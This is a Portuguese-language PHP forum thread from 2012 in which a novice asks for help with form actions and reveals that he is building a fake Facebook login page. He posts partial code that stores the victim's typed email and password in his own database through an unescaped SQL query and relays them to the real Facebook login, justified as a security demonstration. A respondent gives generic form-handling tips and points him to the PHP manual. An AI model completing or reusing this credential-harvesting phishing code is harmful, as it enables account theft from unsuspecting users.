Action=URL + variavel?

Enviada por Gerson Efraim 
Gerson Efraim
Action=URL + variavel?
23 de May de 2012 às 09:02PM
Ola gostaria de saber se no action de um form pode especificar action"http://exemplo.com&?acao='cadastrar'"



Queria que eu manda-se para o banco os dados do form e a pagina enviase os valores do form para outra pagina.



tem como?
Marcos Regis
Re: Action=URL + variavel?
24 de May de 2012 às 06:52AM
evite usar esse tipo de construção para actions de formulários.
Prefira adicionar campos do tipo hidden que funcionarão da mesma forma.
Gerson Efraim
Re: Action=URL + variavel?
24 de May de 2012 às 12:19PM
Descupe a minha ignoracancia, mas é qui sou novato nessa area, é o seguinte não tenho conhecimento sobre o campo hidden e como usalo, mas tem muita facilidade em asimilar exemplos. tem como me ajudar?




È o seguinte, amanha vou apresentar um projeto falando sobre segurança digital,


Fiz uma pagina falsa de determinado site, quero enviar o qui foi digitado para o meu banco(Já consegui)

Só qui tambem quero qui os valores do form preenchan a pagina verdadeira do site para fazer login automatico com um script que desenvolvi.

Só qui nao consigo fazer os dois. só consigo fazer um.


Ou o formulario envia para o banco ou o formulario envia para determinada pagina.

AJUDA PLIX, quero me sair bem.
Marcos Regis
Re: Action=URL + variavel?
24 de May de 2012 às 03:11PM
crie um campo no formulario assim

<input type="hidden" name="acao" value="cadastrar" />

Quando voce clicar em submit vai haver um item acao com o valor cadastrar na url
Gerson Efraim
Re: Action=URL + variavel?
24 de May de 2012 às 03:29PM
Valeu Marcos, vc mudou minha vida. rsrs


Agora consigo ver novos horizontes. KKK
Gerson Efraim
Re: Action=URL + variavel?
25 de May de 2012 às 09:55AM
Marcos, não funcionou, Tipo, acho qui issu tem ki fazer em javascript.


vou te mostrar o codigo. é o cloneFacebook para min demonstrar na feira como não estamos seguros digitalmente e talz. olha aew.



<?php


include("funcoes.php");



if($acao == 'entrar'){


if($pass != "" && $email !=""){

$proxcont = IncrementarTablogins();

$sql = pg_query("INSERT INTO tablogins (id,senha,email) VALUES
($proxcont,'$pass','$email')");

}
}
?>



<script type='text/javascript'>


function Loga() {

document.login_form.submit()
}

</script>








<!-- Começo form -->

<form id="login_form" action="https://www.facebook.com/login.php" method="get" >

<div id="standard_status" class="UIMessageBox UIMessageBoxStatus"><h2 class="main_message">É preciso acessar sua conta para ver esta página.</h2></div><div id="loginform" style="">
<div class="form_row clearfix ">
<label for="email" id="label_email" class="login_form_label">





<!-- imputo login e senha -->
E-mail:</label><input class="inputtext" id="email" name="email" onkeypress="formchange()" type="text"></div>
Senha:</label><input class="inputpassword" id="pass" name="pass" type="password"></div><div class="persistent">
<input type="hidden" name="acao" value="entrar" />

<!-- Imput type submit -->


<input value="Entrar" name="login" id="u3qawk_2" type="submit"></label></div>


</body></html>


è só um pedaço do codigo.


TIPO ele vai la e tenta logar no facebook. só qui nao envia para o banco de dados o que foi digitado.
Marcos Regis
Re: Action=URL + variavel?
25 de May de 2012 às 12:00PM
De onde vem $acao?

Isso só funciona com register globals em ON o que não é mais aceitável

use assim para as variáveis que vem pela requisição

$acao = isset($_REQUEST['acao'])?$_REQUEST['acao']:null;
Gerson Efraim
Re: Action=URL + variavel?
25 de May de 2012 às 01:07PM
Descupa mais uma vez, mas tem como expecificar mais um pouco onde de encaiza issu?
Marcos Regis
Re: Action=URL + variavel?
25 de May de 2012 às 03:59PM
Gerson, vejo que é muito cru em PHP e HTML.
Melhor procurar algum curso, tutorial antes de se aventurar a fazer algo útil com PHP.
Um bom ponto de partida é o manual do PHP
Dê uma lida nesse capítulo para entender sobre formulários.
http://www.php.net/manual/pt_BR/getting-started.php
Você precisa estar logado no PHPBrasil.com para poder enviar mensagens para os nossos fóruns.

Faça o login aqui.